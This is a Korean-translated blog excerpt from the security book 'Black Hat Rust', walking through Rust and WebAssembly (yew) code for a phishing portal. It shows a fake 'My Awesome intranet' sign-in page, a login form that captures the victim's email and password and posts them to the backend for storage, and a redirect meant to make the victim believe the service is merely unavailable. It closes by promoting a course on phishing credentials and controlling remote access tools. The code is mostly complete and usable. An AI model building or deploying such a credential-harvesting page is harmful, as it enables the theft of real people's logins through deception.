Rust 및 WebAssembly로 웹 애플리케이션 구축

This post is an excerpt from my book Black Hat Rust



React, VueJS, Angular 또는 Rust에서 최신 웹 애플리케이션은 3가지 조각으로 구성됩니다.
  • 구성품
  • 페이지
  • 서비스



  • 구성 요소는 재사용 가능한 조각 및 UI 요소입니다. 예를 들어 입력 필드 또는 버튼.

    페이지는 구성 요소의 집합체입니다. 경로(URL)와 일치합니다. 예를 들어 Login 페이지는 /login 경로와 일치합니다. Home 페이지는 / 경로와 일치합니다.

    마지막으로 서비스는 HTTP 클라이언트, 저장소와 같은 하위 수준 기능 또는 외부 서비스를 래핑하는 보조 유틸리티입니다.

    우리 응용 프로그램의 목표는 간단합니다. 피해자가 자신의 자격 증명(합법적인 형식이라고 생각)을 입력하고 자격 증명을 SQLite 데이터베이스에 저장한 다음 피해자를 다음 오류 페이지로 리디렉션하는 포털입니다. 서비스를 일시적으로 사용할 수 없다고 생각하고 나중에 다시 시도해야 합니다.

    툴체인 설치



    wasm-pack 은 Rust로 생성된 WebAssembly 패키지를 빌드하고 브라우저 또는 Node.js에서 사용할 수 있도록 도와줍니다.

    $ cargo install -f wasm-pack
    


    모델



    프런트엔드에서와 마찬가지로 백엔드에서 동일한 언어를 사용하는 것에 대한 한 가지 좋은 점은 모델을 재사용할 수 있다는 것입니다.

    ch_09/phishing/common/src/api.rs

    pub mod model {
        use serde::{Deserialize, Serialize};
    
        #[derive(Debug, Clone, Serialize, Deserialize)]
        #[serde(rename_all = "snake_case")]
        pub struct Login {
            pub email: String,
            pub password: String,
        }
    
        #[derive(Debug, Clone, Serialize, Deserialize)]
        #[serde(rename_all = "snake_case")]
        pub struct LoginResponse {
            pub ok: bool,
        }
    }
    
    pub mod routes {
        pub const LOGIN: &str = "/api/login";
    }
    


    이제 변경하면 다른 곳에서 동일한 변경을 수동으로 수행할 필요가 없습니다. 비동기화된 모델 문제를 해결합니다.

    구성품



    처음에는 구성 요소가 있습니다. 구성 요소는 기능 또는 디자인의 재사용 가능한 부분입니다.

    구성 요소를 구축하기 위해 우리는 yew 크레이트를 사용합니다. 이 크레이트는 제가 이 글을 쓰는 시점에서 가장 진보되고 지원되는 Rust 프런트엔드 프레임워크입니다.
    Properties (또는 Props )는 구성 요소의 매개 변수로 볼 수 있습니다. 예를 들어 함수fn factorial(x: u64) -> u64에는 매개변수x가 있습니다. 구성 요소도 마찬가지입니다. 특정 데이터로 렌더링하려면 Properties 를 사용합니다.

    ch_09/phishing/webapp/src/components/error_alert.rs

    use yew::{html, Component, ComponentLink, Html, Properties, ShouldRender};
    
    pub struct ErrorAlert {
        props: Props,
    }
    
    #[derive(Properties, Clone)]
    pub struct Props {
        #[prop_or_default]
        pub error: Option<crate::Error>,
    }
    



    impl Component for ErrorAlert {
        type Message = ();
        type Properties = Props;
    
        fn create(props: Self::Properties, _: ComponentLink<Self>) -> Self {
            ErrorAlert { props }
        }
    
        fn update(&mut self, _: Self::Message) -> ShouldRender {
            true
        }
    
        fn change(&mut self, props: Self::Properties) -> ShouldRender {
            self.props = props;
            true
        }
    
        fn view(&self) -> Html {
            if let Some(error) = &self.props.error {
                html! {
                    <div class="alert alert-danger" role="alert">
                        {error}
                    </div>
                }
            } else {
                html! {}
            }
        }
    }
    


    (구식) React와 꽤 비슷하지 않나요?

    또 다른 구성 요소는 자격 증명을 캡처하고 저장하는 논리를 래핑하는 LoginForm입니다.

    ch_09/phishing/webapp/src/components/login_form.rs

    pub struct LoginForm {
        link: ComponentLink<Self>,
        error: Option<Error>,
        email: String,
        password: String,
        http_client: HttpClient,
        api_response_callback: Callback<Result<model::LoginResponse, Error>>,
        api_task: Option<FetchTask>,
    }
    
    pub enum Msg {
        Submit,
        ApiResponse(Result<model::LoginResponse, Error>),
        UpdateEmail(String),
        UpdatePassword(String),
    }
    



    impl Component for LoginForm {
        type Message = Msg;
        type Properties = ();
    
        fn create(_: Self::Properties, link: ComponentLink<Self>) -> Self {
            Self {
                error: None,
                email: String::new(),
                password: String::new(),
                http_client: HttpClient::new(),
                api_response_callback: link.callback(Msg::ApiResponse),
                link,
                api_task: None,
            }
        }
    



        fn update(&mut self, msg: Self::Message) -> ShouldRender {
            match msg {
                Msg::Submit => {
                    self.error = None;
                    // let credentials = format!("email: {}, password: {}", &self.email, &self.password);
                    // console::log_1(&credentials.into());
                    let credentials = model::Login {
                        email: self.email.clone(),
                        password: self.password.clone(),
                    };
                    self.api_task = Some(self.http_client.post::<model::Login, model::LoginResponse>(
                        api::routes::LOGIN.to_string(),
                        credentials,
                        self.api_response_callback.clone(),
                    ));
                }
                Msg::ApiResponse(Ok(_)) => {
                    console::log_1(&"success".into());
                    self.api_task = None;
                    let window: Window = web_sys::window().expect("window not available");
                    let location = window.location();
                    let _ = location.set_href("https://kerkour.com/black-hat-rust");
                }
                Msg::ApiResponse(Err(err)) => {
                    self.error = Some(err);
                    self.api_task = None;
                }
                Msg::UpdateEmail(email) => {
                    self.email = email;
                }
                Msg::UpdatePassword(password) => {
                    self.password = password;
                }
            }
            true
        }
    


    마지막으로 view 함수(다른 프레임워크의 render와 유사)입니다.

        fn view(&self) -> Html {
            let onsubmit = self.link.callback(|ev: FocusEvent| {
                ev.prevent_default(); /* Prevent event propagation */
                Msg::Submit
            });
            let oninput_email = self
                .link
                .callback(|ev: InputData| Msg::UpdateEmail(ev.value));
            let oninput_password = self
                .link
                .callback(|ev: InputData| Msg::UpdatePassword(ev.value));
    


    다른 HTML 요소와 마찬가지로 다른 구성 요소(여기서는 ErrorAlert )를 포함할 수 있습니다.

            html! {
                <div>
                    <components::ErrorAlert error=&self.error />
                    <form onsubmit=onsubmit>
                        <div class="mb-3">
                            <input
                                class="form-control form-control-lg"
                                type="email"
                                placeholder="Email"
                                value=self.email.clone()
                                oninput=oninput_email
                                id="email-input"
                            />
                        </div>
                        <div class="mb-3">
                            <input
                                class="form-control form-control-lg"
                                type="password"
                                placeholder="Password"
                                value=self.password.clone()
                                oninput=oninput_password
                            />
                        </div>
                        <button
                            class="btn btn-lg btn-primary pull-xs-right"
                            type="submit"
                            disabled=false>
                            { "Sign in" }
                        </button>
                    </form>
                </div>
            }
        }
    }
    


    페이지



    This post is an excerpt from my book Black Hat Rust



    페이지는 구성 요소의 집합체이며 yew의 구성 요소 자체입니다.

    ch_09/phishing/webapp/src/pages/login.rs

    pub struct Login {}
    
    impl Component for Login {
        type Message = ();
        type Properties = ();
    
        // ...
    
        fn view(&self) -> Html {
            html! {
                <div>
                    <div class="container text-center mt-5">
                        <div class="row justify-content-md-center mb-5">
                            <div class="col col-md-8">
                                <h1>{ "My Awesome intranet" }</h1>
                            </div>
                        </div>
                        <div class="row justify-content-md-center">
                            <div class="col col-md-8">
                                <LoginForm />
                            </div>
                        </div>
                    </div>
                </div>
            }
        }
    }
    


    라우팅



    그런 다음 애플리케이션의 가능한 모든 경로를 선언합니다.

    이전에 본 것처럼 경로 지도 URL을 페이지로 지정합니다.

    ch_09/phishing/webapp/src/lib.rs

    #[derive(Switch, Debug, Clone)]
    pub enum Route {
        #[to = "*"]
        Fallback,
        #[to = "/error"]
        Error,
        #[to = "/"]
        Login,
    }
    


    서비스



    HTTP 요청하기



    콜백이 필요하고 응답을 역직렬화해야 하므로 HTTP 요청을 만드는 것이 조금 더 어렵습니다.

    ch_09/phishing/webapp/src/services/http_client.rs

    #[derive(Default, Debug)]
    pub struct HttpClient {}
    
    impl HttpClient {
        pub fn new() -> Self {
            Self {}
        }
    
        pub fn post<B, T>(
            &mut self,
            url: String,
            body: B,
            callback: Callback<Result<T, Error>>,
        ) -> FetchTask
        where
            for<'de> T: Deserialize<'de> + 'static + std::fmt::Debug,
            B: Serialize,
        {
            let handler = move |response: Response<Text>| {
                if let (meta, Ok(data)) = response.into_parts() {
                    if meta.status.is_success() {
                        let data: Result<T, _> = serde_json::from_str(&data);
                        if let Ok(data) = data {
                            callback.emit(Ok(data))
                        } else {
                            callback.emit(Err(Error::DeserializeError))
                        }
                    } else {
                        match meta.status.as_u16() {
                            401 => callback.emit(Err(Error::Unauthorized)),
                            403 => callback.emit(Err(Error::Forbidden)),
                            404 => callback.emit(Err(Error::NotFound)),
                            500 => callback.emit(Err(Error::InternalServerError)),
                            _ => callback.emit(Err(Error::RequestError)),
                        }
                    }
                } else {
                    callback.emit(Err(Error::RequestError))
                }
            };
    
            let body: Text = Json(&body).into();
            let builder = Request::builder()
                .method("POST")
                .uri(url.as_str())
                .header("Content-Type", "application/json");
            let request = builder.body(body).unwrap();
    
            FetchService::fetch(request, handler.into()).unwrap()
        }
    }
    


    즉, 가능한 모든 오류가 처리되므로 매우 견고하다는 이점이 있습니다. 더 이상 알 수 없는 런타임 오류가 발생하지 않습니다.



    그런 다음 모든 것을 래핑하고 경로를 렌더링하는 App 구성 요소가 나옵니다.

    ch_09/phishing/webapp/src/lib.rs

    pub struct App {}
    
    impl Component for App {
        type Message = ();
        type Properties = ();
    
        // ...
    
        fn view(&self) -> Html {
            let render = Router::render(|switch: Route| match switch {
                Route::Login | Route::Fallback => html! {<pages::Login/>},
                Route::Error => html! {<pages::Error/>},
            });
    
            html! {
                <Router<Route, ()> render=render/>
            }
        }
    }
    


    마지막으로 웹앱을 마운트하고 시작하기 위한 진입점입니다.

    #[wasm_bindgen(start)]
    pub fn run_app() {
        yew::App::<App>::new().mount_to_body();
    }
    


    다음을 실행하여 새로 빌드한 웹 애플리케이션을 실행할 수 있습니다.

    $ make webapp_debug
    $ make serve
    


    코드는 GitHub에 있습니다.



    평소와 같이 GitHub에서 코드를 찾을 수 있습니다: github.com/skerkour/black-hat-rust (저장소에 별표를 표시하는 것을 잊지 마세요 🙏).

    더 알고 싶으세요? 자격 증명을 피싱하고 RAT(원격 액세스 도구)를 제어하기 위해 Rust로 여러 웹 애플리케이션을 구축하는 과정Black Hat Rust을 수강하십시오.

    좋은 웹페이지 즐겨찾기